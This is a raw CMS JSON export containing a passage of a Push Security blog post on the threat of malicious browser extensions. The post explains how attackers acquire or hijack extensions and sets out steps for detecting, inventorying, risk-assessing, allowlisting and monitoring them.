arks":59680,"value":57668,"nodeType":865},{},[59681],{"type":926},{"data":59683,"content":59684,"nodeType":1317},{},[59685],{"data":59686,"marks":59687,"value":57676,"nodeType":865},{},[59688],{"type":926},{"data":59690,"content":59691,"nodeType":866},{},[59692],{"data":59693,"marks":59694,"value":57683,"nodeType":865},{},[],{"data":59696,"content":59697,"nodeType":866},{},[59698],{"data":59699,"marks":59700,"value":57690,"nodeType":865},{},[],{"data":59702,"content":59703,"nodeType":866},{},[59704],{"data":59705,"marks":59706,"value":57697,"nodeType":865},{},[],{"data":59708,"content":59709,"nodeType":866},{},[59710,59713,59716,59720],{"data":59711,"marks":59712,"value":57704,"nodeType":865},{},[],{"data":59714,"marks":59715,"value":57708,"nodeType":865},{},[],{"data":59717,"marks":59718,"value":57713,"nodeType":865},{},[59719],{"type":926},{"data":59721,"marks":59722,"value":57717,"nodeType":865},{},[],{"data":59724,"content":59727,"nodeType":912},{"target":59725},{"sys":59726},{"id":57722,"type":909,"linkType":910},[],{"data":59729,"content":59730,"nodeType":866},{},[59731],{"data":59732,"marks":59733,"value":57730,"nodeType":865},{},[],{"data":59735,"content":59736,"nodeType":972},{},[],{"data":59738,"content":59739,"nodeType":981},{},[59740],{"data":59741,"marks":59742,"value":57741,"nodeType":865},{},[59743],{"type":926},{"data":59745,"content":59746,"nodeType":866},{},[59747],{"data":59748,"marks":59749,"value":57748,"nodeType":865},{},[],{"data":59751,"content":59752,"nodeType":1616},{},[59753,59766],{"data":59754,"content":59755,"nodeType":1570},{},[59756],{"data":59757,"content":59758,"nodeType":866},{},[59759,59763],{"data":59760,"marks":59761,"value":57762,"nodeType":865},{},[59762],{"type":926},{"data":59764,"marks":59765,"value":57766,"nodeType":865},{},[],{"data":59767,"content":59768,"nodeType":1570},{},[59769],{"data":59770,"content":59771,"nodeType":866},{},[59772,59776],{"data":59773,"marks":59774,"value":57777,"nodeType":865},{},[59775],{"type":926},{"data":59777,"marks":59778,"value":57781,"nodeType":865},{},[],{"data":59780,"content":59781,"nodeType":1317},{},[59782],{"data":59783,"marks":59784,"value":57788,"nodeType":865},{},[],{"data":59786,"content":59787,"nodeType":866},{},[59788,59791,59795],{"data":59789,"marks":59790,"value":57795,"nodeType":865},{},[],{"data":59792,"marks":59793,"value":57800,"nodeType":865},{},[59794],{"type":898},{"data":59796,"marks":59797,"value":57804,"nodeType":865},{},[],{"data":59799,"content":59800,"nodeType":866},{},[59801,59804,59812],{"data":59802,"marks":59803,"value":57811,"nodeType":865},{},[],{"data":59805,"content":59808,"nodeType":33606},{"target":59806},{"sys":59807},{"id":57816,"type":909,"linkType":910},[59809],{"data":59810,"marks":59811,"value":57821,"nodeType":865},{},[],{"data":59813,"marks":59814,"value":57825,"nodeType":865},{},[],{"data":59816,"content":59817,"nodeType":866},{},[59818,59821,59829,59832,59840],{"data":59819,"marks":59820,"value":57832,"nodeType":865},{},[],{"data":59822,"content":59825,"nodeType":33606},{"target":59823},{"sys":59824},{"id":57837,"type":909,"linkType":910},[59826],{"data":59827,"marks":59828,"value":57842,"nodeType":865},{},[],{"data":59830,"marks":59831,"value":57846,"nodeType":865},{},[],{"data":59833,"content":59836,"nodeType":33606},{"target":59834},{"sys":59835},{"id":57851,"type":909,"linkType":910},[59837],{"data":59838,"marks":59839,"value":57856,"nodeType":865},{},[],{"data":59841,"marks":59842,"value":57860,"nodeType":865},{},[],{"data":59844,"content":59847,"nodeType":912},{"target":59845},{"sys":59846},{"id":57865,"type":909,"linkType":910},[],{"data":59849,"content":59850,"nodeType":1317},{},[59851],{"data":59852,"marks":59853,"value":57873,"nodeType":865},{},[],{"data":59855,"content":59856,"nodeType":866},{},[59857,59860,59866],{"data":59858,"marks":59859,"value":57880,"nodeType":865},{},[],{"data":59861,"content":59862,"nodeType":889},{"uri":57883},[59863],{"data":59864,"marks":59865,"value":57888,"nodeType":865},{},[],{"data":59867,"marks":59868,"value":57892,"nodeType":865},{},[],{"data":59870,"content":59871,"nodeType":866},{},[59872],{"data":59873,"marks":59874,"value":57899,"nodeType":865},{},[],{"data":59876,"content":59877,"nodeType":866},{},[59878],{"data":59879,"marks":59880,"value":57906,"nodeType":865},{},[],{"data":59882,"content":59883,"nodeType":972},{},[],{"data":59885,"content":59886,"nodeType":981},{},[59887],{"data":59888,"marks":59889,"value":57917,"nodeType":865},{},[59890],{"type":926},{"data":59892,"content":59893,"nodeType":866},{},[59894],{"data":59895,"marks":59896,"value":57924,"nodeType":865},{},[],{"data":59898,"content":59899,"nodeType":1616},{},[59900,59920,59940,59960],{"data":59901,"content":59902,"nodeType":1570},{},[59903],{"data":59904,"content":59905,"nodeType":866},{},[59906,59909,59917],{"data":59907,"marks":59908,"value":21,"nodeType":865},{},[],{"data":59910,"content":59913,"nodeType":33606},{"target":59911},{"sys":59912},{"id":57941,"type":909,"linkType":910},[59914],{"data":59915,"marks":59916,"value":4889,"nodeType":865},{},[],{"data":59918,"marks":59919,"value":57949,"nodeType":865},{},[],{"data":59921,"content":59922,"nodeType":1570},{},[59923],{"data":59924,"content":59925,"nodeType":866},{},[59926,59929,59937],{"data":59927,"marks":59928,"value":21,"nodeType":865},{},[],{"data":59930,"content":59933,"nodeType":33606},{"target":59931},{"sys":59932},{"id":57963,"type":909,"linkType":910},[59934],{"data":59935,"marks":59936,"value":57968,"nodeType":865},{},[],{"data":59938,"marks":59939,"value":57972,"nodeType":865},{},[],{"data":59941,"content":59942,"nodeType":1570},{},[59943],{"data":59944,"content":59945,"nodeType":866},{},[59946,59949,59957],{"data":59947,"marks":59948,"value":21,"nodeType":865},{},[],{"data":59950,"content":59953,"nodeType":33606},{"target":59951},{"sys":59952},{"id":57986,"type":909,"linkType":910},[59954],{"data":59955,"marks":59956,"value":699,"nodeType":865},{},[],{"data":59958,"marks":59959,"value":21,"nodeType":865},{},[],{"data":59961,"content":59962,"nodeType":1570},{},[59963],{"data":59964,"content":59965,"nodeType":866},{},[59966,59969,59977],{"data":59967,"marks":59968,"value":21,"nodeType":865},{},[],{"data":59970,"content":59973,"nodeType":33606},{"target":59971},{"sys":59972},{"id":58007,"type":909,"linkType":910},[59974],{"data":59975,"marks":59976,"value":58012,"nodeType":865},{},[],{"data":59978,"marks":59979,"value":58016,"nodeType":865},{},[],{"data":59981,"content":59982,"nodeType":866},{},[59983],{"data":59984,"marks":59985,"value":58023,"nodeType":865},{},[],{"data":59987,"content":59988,"nodeType":866},{},[59989],{"data":59990,"marks":59991,"value":58030,"nodeType":865},{},[],{"data":59993,"content":59994,"nodeType":1317},{},[59995],{"data":59996,"marks":59997,"value":58038,"nodeType":865},{},[59998],{"type":926},{"data":60000,"content":60001,"nodeType":866},{},[60002],{"data":60003,"marks":60004,"value":58045,"nodeType":865},{},[],{"data":60006,"content":60007,"nodeType":866},{},[60008],{"data":60009,"marks":60010,"value":58052,"nodeType":865},{},[],{"data":60012,"content":60013,"nodeType":866},{},[60014],{"data":60015,"marks":60016,"value":58059,"nodeType":865},{},[],{"data":60018,"content":60021,"nodeType":912},{"target":60019},{"sys":60020},{"id":33918,"type":909,"linkType":910},[],{"data":60023,"content":60024,"nodeType":1317},{},[60025],{"data":60026,"marks":60027,"value":58072,"nodeType":865},{},[60028],{"type":926},{"data":60030,"content":60031,"nodeType":866},{},[60032],{"data":60033,"marks":60034,"value":58079,"nodeType":865},{},[],{"data":60036,"content":60037,"nodeType":866},{},[60038],{"data":60039,"marks":60040,"value":58086,"nodeType":865},{},[],{"data":60042,"content":60043,"nodeType":866},{},[60044],{"data":60045,"marks":60046,"value":58093,"nodeType":865},{},[],{"data":60048,"content":60051,"nodeType":912},{"target":60049},{"sys":60050},{"id":58098,"type":909,"linkType":910},[],{"data":60053,"content":60054,"nodeType":866},{},[60055],{"data":60056,"marks":60057,"value":58106,"nodeType":865},{},[],{"data":60059,"content":60060,"nodeType":1317},{},[60061],{"data":60062,"marks":60063,"value":58114,"nodeType":865},{},[60064],{"type":926},{"data":60066,"content":60067,"nodeType":866},{},[60068,60071,60077],{"data":60069,"marks":60070,"value":58121,"nodeType":865},{},[],{"data":60072,"content":60073,"nodeType":889},{"uri":58124},[60074],{"data":60075,"marks":60076,"value":58129,"nodeType":865},{},[],{"data":60078,"marks":60079,"value":6719,"nodeType":865},{},[],{"data":60081,"content":60082,"nodeType":1317},{},[60083],{"data":60084,"marks":60085,"value":58140,"nodeType":865},{},[60086],{"type":926},{"data":60088,"content":60089,"nodeType":866},{},[60090],{"data":60091,"marks":60092,"value":58147,"nodeType":865},{},[],{"data":60094,"content":60097,"nodeType":912},{"target":60095},{"sys":60096},{"id":58152,"type":909,"linkType":910},[],{"data":60099,"content":60100,"nodeType":972},{},[],{"data":60102,"content":60103,"nodeType":981},{},[60104],{"data":60105,"marks":60106,"value":58164,"nodeType":865},{},[60107],{"type":926},{"data":60109,"content":60110,"nodeType":866},{},[60111],{"data":60112,"marks":60113,"value":58171,"nodeType":865},{},[],{"data":60115,"content":60116,"nodeType":866},{},[60117],{"data":60118,"marks":60119,"value":58178,"nodeType":865},{},[],{"data":60121,"content":60122,"nodeType":1616},{},[60123,60143,60174,60194],{"data":60124,"content":60125,"nodeType":1570},{},[60126],{"data":60127,"content":60128,"nodeType":866},{},[60129,60132,60140],{"data":60130,"marks":60131,"value":21,"nodeType":865},{},[],{"data":60133,"content":60136,"nodeType":33606},{"target":60134},{"sys":60135},{"id":58195,"type":909,"linkType":910},[60137],{"data":60138,"marks":60139,"value":58200,"nodeType":865},{},[],{"data":60141,"marks":60142,"value":58204,"nodeType":865},{},[],{"data":60144,"content":60145,"nodeType":1570},{},[60146],{"data":60147,"content":60148,"nodeType":866},{},[60149,60152,60160,60163,60171],{"data":60150,"marks":60151,"value":58214,"nodeType":865},{},[],{"data":60153,"content":60156,"nodeType":33606},{"target":60154},{"sys":60155},{"id":58219,"type":909,"linkType":910},[60157],{"data":60158,"marks":60159,"value":58224,"nodeType":865},{},[],{"data":60161,"marks":60162,"value":53880,"nodeType":865},{},[],{"data":60164,"content":60167,"nodeType":33606},{"target":60165},{"sys":60166},{"id":58232,"type":909,"linkType":910},[60168],{"data":60169,"marks":60170,"value":58237,"nodeType":865},{},[],{"data":60172,"marks":60173,"value":58241,"nodeType":865},{},[],{"data":60175,"content":60176,"nodeType":1570},{},[60177],{"data":60178,"content":60179,"nodeType":866},{},[60180,60183,60191],{"data":60181,"marks":60182,"value":58251,"nodeType":865},{},[],{"data":60184,"content":60187,"nodeType":33606},{"target":60185},{"sys":60186},{"id":58256,"type":909,"linkType":910},[60188],{"data":60189,"marks":60190,"value":58261,"nodeType":865},{},[],{"data":60192,"marks":60193,"value":58265,"nodeType":865},{},[],{"data":60195,"content":60196,"nodeType":1570},{},[60197],{"data":60198,"content":60199,"nodeType":866},{},[60200,60203,60211],{"data":60201,"marks":60202,"value":21,"nodeType":865},{},[],{"data":60204,"content":60207,"nodeType":33606},{"target":60205},{"sys":60206},{"id":58279,"type":909,"linkType":910},[60208],{"data":60209,"marks":60210,"value":58284,"nodeType":865},{},[],{"data":60212,"marks":60213,"value":58288,"nodeType":865},{},[],{"data":60215,"content":60216,"nodeType":866},{},[60217],{"data":60218,"marks":60219,"value":58030,"nodeType":865},{},[],{"data":60221,"content":60222,"nodeType":1317},{},[60223],{"data":60224,"marks":60225,"value":58038,"nodeType":865},{},[60226],{"type":926},{"data":60228,"content":60229,"nodeType":866},{},[60230],{"data":60231,"marks":60232,"value":58308,"nodeType":865},{},[],{"data":60234,"content":60235,"nodeType":866},{},[60236],{"data":60237,"marks":60238,"value":58315,"nodeType":865},{},[],{"data":60240,"content":60241,"nodeType":866},{},[60242],{"data":60243,"marks":60244,"value":58322,"nodeType":865},{},[],{"data":60246,"content":60247,"nodeType":866},{},[60248],{"data":60249,"marks":60250,"value":58329,"nodeType":865},{},[],{"data":60252,"content":60253,"nodeType":1317},{},[60254],{"data":60255,"marks":60256,"value":58337,"nodeType":865},{},[60257],{"type":926},{"data":60259,"content":60260,"nodeType":866},{},[60261],{"data":60262,"marks":60263,"value":58344,"nodeType":865},{},[],{"data":60265,"content":60266,"nodeType":866},{},[60267],{"data":60268,"marks":60269,"value":58351,"nodeType":865},{},[],{"data":60271,"content":60272,"nodeType":866},{},[60273,60276,60280,60283,60287],{"data":60274,"marks":60275,"value":58358,"nodeType":865},{},[],{"data":60277,"marks":60278,"value":58363,"nodeType":865},{},[60279],{"type":926},{"data":60281,"marks":60282,"value":4988,"nodeType":865},{},[],{"data":60284,"marks":60285,"value":58371,"nodeType":865},{},[60286],{"type":926},{"data":60288,"marks":60289,"value":58375,"nodeType":865},{},[],{"data":60291,"content":60294,"nodeType":912},{"target":60292},{"sys":60293},{"id":58380,"type":909,"linkType":910},[],{"data":60296,"content":60297,"nodeType":866},{},[60298,60301,60305],{"data":60299,"marks":60300,"value":58388,"nodeType":865},{},[],{"data":60302,"marks":60303,"value":58393,"nodeType":865},{},[60304],{"type":926},{"data":60306,"marks":60307,"value":58397,"nodeType":865},{},[],{"data":60309,"content":60310,"nodeType":866},{},[60311,60314,60318],{"data":60312,"marks":60313,"value":58388,"nodeType":865},{},[],{"data":60315,"marks":60316,"value":58408,"nodeType":865},{},[60317],{"type":926},{"data":60319,"marks":60320,"value":58412,"nodeType":865},{},[],{"data":60322,"content":60323,"nodeType":866},{},[60324,60327,60331],{"data":60325,"marks":60326,"value":58419,"nodeType":865},{},[],{"data":60328,"marks":60329,"value":58424,"nodeType":865},{},[60330],{"type":926},{"data":60332,"marks":60333,"value":58428,"nodeType":865},{},[],{"data":60335,"content":60338,"nodeType":912},{"target":60336},{"sys":60337},{"id":58433,"type":909,"linkType":910},[],{"data":60340,"content":60341,"nodeType":1317},{},[60342],{"data":60343,"marks":60344,"value":58442,"nodeType":865},{},[60345],{"type":926},{"data":60347,"content":60348,"nodeType":866},{},[60349],{"data":60350,"marks":60351,"value":58449,"nodeType":865},{},[],{"data":60353,"content":60354,"nodeType":1317},{},[60355],{"data":60356,"marks":60357,"value":58457,"nodeType":865},{},[60358],{"type":926},{"data":60360,"content":60361,"nodeType":866},{},[60362],{"data":60363,"marks":60364,"value":58464,"nodeType":865},{},[],{"data":60366,"content":60367,"nodeType":972},{},[],{"data":60369,"content":60370,"nodeType":981},{},[60371],{"data":60372,"marks":60373,"value":58475,"nodeType":865},{},[60374],{"type":926},{"data":60376,"content":60377,"nodeType":866},{},[60378],{"data":60379,"marks":60380,"value":58482,"nodeType":865},{},[],{"data":60382,"content":60383,"nodeType":866},{},[60384,60387,60391,60394,60398,60401,60405],{"data":60385,"marks":60386,"value":58489,"nodeType":865},{},[],{"data":60388,"marks":60389,"value":58494,"nodeType":865},{},[60390],{"type":926},{"data":60392,"marks":60393,"value":58498,"nodeType":865},{},[],{"data":60395,"marks":60396,"value":58371,"nodeType":865},{},[60397],{"type":926},{"data":60399,"marks":60400,"value":58506,"nodeType":865},{},[],{"data":60402,"marks":60403,"value":58511,"nodeType":865},{},[60404],{"type":926},{"data":60406,"marks":60407,"value":58515,"nodeType":865},{},[],{"data":60409,"content":60412,"nodeType":912},{"target":60410},{"sys":60411},{"id":58520,"type":909,"linkType":910},[],{"data":60414,"content":60415,"nodeType":866},{},[60416,60419,60423,60426,60430],{"data":60417,"marks":60418,"value":58528,"nodeType":865},{},[],{"data":60420,"marks":60421,"value":58533,"nodeType":865},{},[60422],{"type":926},{"data":60424,"marks":60425,"value":53880,"nodeType":865},{},[],{"data":60427,"marks":60428,"value":58541,"nodeType":865},{},[60429],{"type":926},{"data":60431,"marks":60432,"value":58545,"nodeType":865},{},[],{"data":60434,"content":60435,"nodeType":866},{},[60436],{"data":60437,"marks":60438,"value":58552,"nodeType":865},{},[],{"data":60440,"content":60441,"nodeType":972},{},[],{"data":60443,"content":60444,"nodeType":981},{},[60445],{"data":60446,"marks":60447,"value":58563,"nodeType":865},{},[60448],{"type":926},{"data":60450,"content":60451,"nodeType":866},{},[60452],{"data":60453,"marks":60454,"value":58570,"nodeType":865},{},[],{"data":60456,"content":60457,"nodeType":866},{},[60458,60461,60465],{"data":60459,"marks":60460,"value":58577,"nodeType":865},{},[],{"data":60462,"marks":60463,"value":58582,"nodeType":865},{},[60464],{"type":926},{"data":60466,"marks":60467,"value":58586,"nodeType":865},{},[],{"data":60469,"content":60472,"nodeType":912},{"target":60470},{"sys":60471},{"id":58591,"type":909,"linkType":910},[],{"data":60474,"content":60475,"nodeType":866},{},[60476],{"data":60477,"marks":60478,"value":58599,"nodeType":865},{},[],{"data":60480,"content":60481,"nodeType":866},{},[60482],{"data":60483,"marks":60484,"value":58606,"nodeType":865},{},[],{"data":60486,"content":60487,"nodeType":972},{},[],{"data":60489,"content":60490,"nodeType":981},{},[60491],{"data":60492,"marks":60493,"value":2270,"nodeType":865},{},[60494],{"type":926},{"data":60496,"content":60497,"nodeType":866},{},[60498,60501,60507],{"data":60499,"marks":60500,"value":58623,"nodeType":865},{},[],{"data":60502,"content":60503,"nodeType":889},{"uri":152},[60504],{"data":60505,"marks":60506,"value":58630,"nodeType":865},{},[],{"data":60508,"marks":60509,"value":58634,"nodeType":865},{},[],{"data":60511,"content":60512,"nodeType":866},{},[60513],{"data":60514,"marks":60515,"value":58641,"nodeType":865},{},[],{"data":60517,"content":60518,"nodeType":866},{},[60519,60522,60528,60531,60537,60540,60546],{"data":60520,"marks":60521,"value":58648,"nodeType":865},{},[],{"data":60523,"content":60524,"nodeType":889},{"uri":58651},[60525],{"data":60526,"marks":60527,"value":58656,"nodeType":865},{},[],{"data":60529,"marks":60530,"value":58660,"nodeType":865},{},[],{"data":60532,"content":60533,"nodeType":889},{"uri":58663},[60534],{"data":60535,"marks":60536,"value":58668,"nodeType":865},{},[],{"data":60538,"marks":60539,"value":58672,"nodeType":865},{},[],{"data":60541,"content":60542,"nodeType":889},{"uri":34504},[60543],{"data":60544,"marks":60545,"value":2298,"nodeType":865},{},[],{"data":60547,"marks":60548,"value":1615,"nodeType":865},{},[],{"items":60550},[60551,60553],{"sys":60552,"name":7796},{"id":7795},{"sys":60554,"name":342},{"id":4642},{"items":60556},[60557],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":60558},{"url":6503},{"__typename":1429,"sys":60560,"content":60562,"title":61601,"synopsis":61602,"hashTags":59,"publishedDate":61603,"slug":61604,"tagsCollection":61605,"authorsCollection":61611},{"id":60561},"4DqTwJKeCSPnJUc6YPFC5A",{"json":60563},{"data":60564,"content":60565,"nodeType":1382},{},[60566,60633,60640,60646,60649,60657,60664,60671,60679,60686,60742,60758,60765,60772,60775,60783,60790,60852,60860,60867,60873,60879,60886,60893,60911,60918,60966,60972,60980,61001,61008,61015,61108,61115,61131,61137,61144,61151,61158,61165,61226,61232,61238,61246,61253,61260,61283,61290,61296,61318,61323,61330,61337,61344,61351,61384,61403,61410,61421,61424,61432,61439,61445,61448,61456,61464,61471,61490,61497,61504,61510,61517,61524,61530,61533,61540,61556,61562],{"data":60567,"content":60568,"nodeType":866},{},[60569,60573,60582,60585,60594,60597,60606,60610,60618,60621,60629],{"data":60570,"marks":60571,"value":60572,"nodeType":865},{},[],"Attackers are doubling down on malicious browser extensions as their method of choice. Recent campaigns like ",{"data":60574,"content":60576,"nodeType":889},{"uri":60575},"https://www.bleepingcomputer.com/news/security/shadypanda-browser-extensions-amass-43m-installs-in-malicious-campaign/",[60577],{"data":60578,"marks":60579,"value":60581,"nodeType":865},{},[60580],{"type":943},"ShadyPanda",{"data":60583,"marks":60584,"value":2717,"nodeType":865},{},[],{"data":60586,"content":60588,"nodeType":889},{"uri":60587},"https://www.bleepingcomputer.com/news/security/zoom-stealer-browser-extensions-harvest-corporate-meeting-intelligence/",[60589],{"data":60590,"marks":60591,"value":60593,"nodeType":865},{},[60592],{"type":943},"ZoomStealer",{"data":60595,"marks":60596,"value":2717,"nodeType":865},{},[],{"data":60598,"content":60600,"nodeType":889},{"uri":60599},"https://www.bleepingcomputer.com/news/security/malicious-ghostposter-browser-extensions-found-with-840-000-installs/",[60601],{"data":60602,"marks":60603,"value":60605,"nodeType":865},{},[60604],{"type":943},"GhostPoster",{"data":60607,"marks":60608,"value":60609,"nodeType":865},{},[],", and the breaches impacting vendors like ",{"data":60611,"content":60613,"nodeType":889},{"uri":60612},"https://www.bleepingcomputer.com/news/security/cybersecurity-firms-chrome-extension-hijacked-to-steal-users-data/",[60614],{"data":60615,"marks":60616,"value":3685,"nodeType":865},{},[60617],{"type":943},{"data":60619,"marks":60620,"value":4988,"nodeType":865},{},[],{"data":60622,"content":60624,"nodeType":889},{"uri":60623},"https://www.bleepingcomputer.com/news/security/trust-wallet-confirms-extension-hack-led-to-7-million-crypto-theft/",[60625],{"data":60626,"marks":60627,"value":3707,"nodeType":865},{},[60628],{"type":943},{"data":60630,"marks":60631,"value":60632,"nodeType":865},{},[],", all highlight the threat posed by malicious extensions. ",{"data":60634,"content":60635,"nodeType":866},{},[60636],{"data":60637,"marks":60638,"value":60639,"nodeType":865},{},[],"Most malicious extensions didn’t start that way. Attackers often begin with a legitimate extension — either by creating something that is initially benign, purchasing an extension that already exists and has a large number of installs, or by phishing an extension developer’s account to publish a malicious version. Then, they bide their time, waiting for the right moment to flip the switch and deploy a malicious update, compromising every browser that they’re deployed to. ",{"data":60641,"content":60645,"nodeType":912},{"target":60642},{"sys":60643},{"id":60644,"type":909,"linkType":910},"7eTmqh5jqYA3l1Xk4GikVO",[],{"data":60647,"content":60648,"nodeType":972},{},[],{"data":60650,"content":60651,"nodeType":981},{},[60652],{"data":60653,"marks":60654,"value":60656,"nodeType":865},{},[60655],{"type":926},"Why tackling malicious extensions is a hard problem for security teams",{"data":60658,"content":60659,"nodeType":866},{},[60660],{"data":60661,"marks":60662,"value":60663,"nodeType":865},{},[],"The Chrome extension store alone has in excess of 100k extensions with a wide range of use cases. Pretty much every major app today has an extension counterpart, and there are countless smaller extensions — from AI overlays, to screen recording, spell checking, and color matching. AI-assisted development has further increased the rate at which new extensions are created and added to the marketplace (for both legit developers and malicious ones). ",{"data":60665,"content":60666,"nodeType":866},{},[60667],{"data":60668,"marks":60669,"value":60670,"nodeType":865},{},[],"For organizations just beginning to think about extension management, this isn’t an easy problem to get a handle on. If you’ve allowed your employees to freely install extensions without restriction, then there could be hundreds, if not thousands, of different extensions in use across your business. ",{"data":60672,"content":60673,"nodeType":1317},{},[60674],{"data":60675,"marks":60676,"value":60678,"nodeType":865},{},[60677],{"type":926},"Malicious extensions are good at hiding bad code",{"data":60680,"content":60681,"nodeType":866},{},[60682],{"data":60683,"marks":60684,"value":60685,"nodeType":865},{},[],"Right now, extension stores are fighting a losing battle against attackers. ",{"data":60687,"content":60688,"nodeType":1616},{},[60689,60712,60722,60732],{"data":60690,"content":60691,"nodeType":1570},{},[60692],{"data":60693,"content":60694,"nodeType":866},{},[60695,60699,60708],{"data":60696,"marks":60697,"value":60698,"nodeType":865},{},[],"Malicious extensions are being regularly uploaded, bypassing code analysis checks, and even achieving ",{"data":60700,"content":60702,"nodeType":889},{"uri":60701},"https://thehackernews.com/2026/02/malicious-chrome-extensions-caught.html",[60703],{"data":60704,"marks":60705,"value":60707,"nodeType":865},{},[60706],{"type":943},"“Featured” or “Verified” status",{"data":60709,"marks":60710,"value":60711,"nodeType":865},{},[]," in the app stores. This is because attackers are using dynamically compiled, stealthily smuggled code that can’t be reliably spotted through static code checks or sandbox analysis. ",{"data":60713,"content":60714,"nodeType":1570},{},[60715],{"data":60716,"content":60717,"nodeType":866},{},[60718],{"data":60719,"marks":60720,"value":60721,"nodeType":865},{},[],"Bad isn't detected until an extension is observed doing malicious things in the wild. Most of the time, this is because there’s been a breach. ",{"data":60723,"content":60724,"nodeType":1570},{},[60725],{"data":60726,"content":60727,"nodeType":866},{},[60728],{"data":60729,"marks":60730,"value":60731,"nodeType":865},{},[],"When an extension is reported as bad, it enters a lengthy review process. Unless there’s pressure to act quickly (e.g. there’s a large amount of reporting), it won’t get prioritized. ",{"data":60733,"content":60734,"nodeType":1570},{},[60735],{"data":60736,"content":60737,"nodeType":866},{},[60738],{"data":60739,"marks":60740,"value":60741,"nodeType":865},{},[],"Just because an extension is removed from the store doesn’t mean that it’s automatically removed from browsers where it is installed. ",{"data":60743,"content":60744,"nodeType":866},{},[60745,60750,60753],{"data":60746,"marks":60747,"value":60749,"nodeType":865},{},[60748],{"type":926},"The bottom line:",{"data":60751,"marks":60752,"value":2688,"nodeType":865},{},[],{"data":60754,"marks":60755,"value":60757,"nodeType":865},{},[60756],{"type":926},"The security teams at Google and Microsoft analyse and manually approve every single extension upload and code change that enters their store, and even they aren’t detecting bad before malware executes in the victim’s browser. ",{"data":60759,"content":60760,"nodeType":866},{},[60761],{"data":60762,"marks":60763,"value":60764,"nodeType":865},{},[],"Today, there’s no single magic bullet tool or control that organizations can use — unless you simply want to disable browser extensions altogether, which might not be the best option for users and their productivity.",{"data":60766,"content":60767,"nodeType":866},{},[60768],{"data":60769,"marks":60770,"value":60771,"nodeType":865},{},[],"Fortunately, Push is in a good position to help, with its ability to inventory all your browser extensions and help you find and block malicious ones.",{"data":60773,"content":60774,"nodeType":972},{},[],{"data":60776,"content":60777,"nodeType":981},{},[60778],{"data":60779,"marks":60780,"value":60782,"nodeType":865},{},[60781],{"type":926},"How to securely manage browser extensions (and how Push can help)",{"data":60784,"content":60785,"nodeType":866},{},[60786],{"data":60787,"marks":60788,"value":60789,"nodeType":865},{},[],"Here’s our step-by-step guide to securely using browser extensions in your organization.",{"data":60791,"content":60792,"nodeType":1616},{},[60793,60812,60822,60832,60842],{"data":60794,"content":60795,"nodeType":1570},{},[60796],{"data":60797,"content":60798,"nodeType":866},{},[60799,60803,60808],{"data":60800,"marks":60801,"value":60802,"nodeType":865},{},[],"Step 0: Enable ",{"data":60804,"marks":60805,"value":60807,"nodeType":865},{},[60806],{"type":926},"malicious browser extension detection",{"data":60809,"marks":60810,"value":60811,"nodeType":865},{},[]," to stop known-bad extensions from running in your environment. ",{"data":60813,"content":60814,"nodeType":1570},{},[60815],{"data":60816,"content":60817,"nodeType":866},{},[60818],{"data":60819,"marks":60820,"value":60821,"nodeType":865},{},[],"Step 1: Establish an inventory of extensions currently in use across your users and their browsers. ",{"data":60823,"content":60824,"nodeType":1570},{},[60825],{"data":60826,"content":60827,"nodeType":866},{},[60828],{"data":60829,"marks":60830,"value":60831,"nodeType":865},{},[],"Step 2: Risk-assess the extensions running in your environment using Push data.",{"data":60833,"content":60834,"nodeType":1570},{},[60835],{"data":60836,"content":60837,"nodeType":866},{},[60838],{"data":60839,"marks":60840,"value":60841,"nodeType":865},{},[],"Step 3: Create an allowlist or blocklist to control the extensions active in your environment.",{"data":60843,"content":60844,"nodeType":1570},{},[60845],{"data":60846,"content":60847,"nodeType":866},{},[60848],{"data":60849,"marks":60850,"value":60851,"nodeType":865},{},[],"Step 4: Monitor for risky changes.",{"data":60853,"content":60854,"nodeType":1317},{},[60855],{"data":60856,"marks":60857,"value":60859,"nodeType":865},{},[60858],{"type":926},"Step 0: Enable malicious browser extension detection in the Push platform",{"data":60861,"content":60862,"nodeType":866},{},[60863],{"data":60864,"marks":60865,"value":60866,"nodeType":865},{},[],"First, we recommend you take action to ensure that extensions reported as suspicious or malicious are blocked from running in your environment. ",{"data":60868,"content":60872,"nodeType":912},{"target":60869},{"sys":60870},{"id":60871,"type":909,"linkType":910},"yniMglSNypgyxmdGVcFxJ",[],{"data":60874,"content":60878,"nodeType":912},{"target":60875},{"sys":60876},{"id":60877,"type":909,"linkType":910},"37bID8AChVgerAnD6q8NPZ",[],{"data":60880,"content":60881,"nodeType":866},{},[60882],{"data":60883,"marks":60884,"value":60885,"nodeType":865},{},[],"If you’re a Push customer, you can ensure that any extension that is reported as malicious is automatically blocked in your environment. This means that the extension gets disabled and cannot run in any browser with the Push extension installed. ",{"data":60887,"content":60888,"nodeType":866},{},[60889],{"data":60890,"marks":60891,"value":60892,"nodeType":865},{},[],"The Push Security research team maintains a global list of known-bad extensions based on threat intelligence reporting. This list is continuously updated and ensures that as soon as an extension is reported as malicious, it is blocked. ",{"data":60894,"content":60895,"nodeType":866},{},[60896,60900,60908],{"data":60897,"marks":60898,"value":60899,"nodeType":865},{},[],"You can enable the control via the Controls page in the Push admin console. Admins can configure rules in Off, Monitor, or Block mode. Block mode is recommended, meaning that extensions are disabled and web store access is blocked. You can read more about this in our ",{"data":60901,"content":60903,"nodeType":889},{"uri":60902},"https://pushsecurity.com/help/how-does-push-detect-malicious-browser-extensions",[60904],{"data":60905,"marks":60906,"value":60907,"nodeType":865},{},[],"Help Center",{"data":60909,"marks":60910,"value":6719,"nodeType":865},{},[],{"data":60912,"content":60913,"nodeType":866},{},[60914],{"data":60915,"marks":60916,"value":60917,"nodeType":865},{},[],"When an extension is flagged as malicious, a detection event will be generated and appear on the Detections page in the Push admin console. The severity of these detections is classified as follows:",{"data":60919,"content":60920,"nodeType":1616},{},[60921,60936,60951],{"data":60922,"content":60923,"nodeType":1570},{},[60924],{"data":60925,"content":60926,"nodeType":866},{},[60927,60932],{"data":60928,"marks":60929,"value":60931,"nodeType":865},{},[60930],{"type":926},"Low",{"data":60933,"marks":60934,"value":60935,"nodeType":865},{},[]," for an extension that has never been enabled. The control prevented either the installation or the extension from being enabled.",{"data":60937,"content":60938,"nodeType":1570},{},[60939],{"data":60940,"content":60941,"nodeType":866},{},[60942,60947],{"data":60943,"marks":60944,"value":60946,"nodeType":865},{},[60945],{"type":926},"Medium",{"data":60948,"marks":60949,"value":60950,"nodeType":865},{},[]," for an extension that was installed and enabled, but has been disabled by the control. 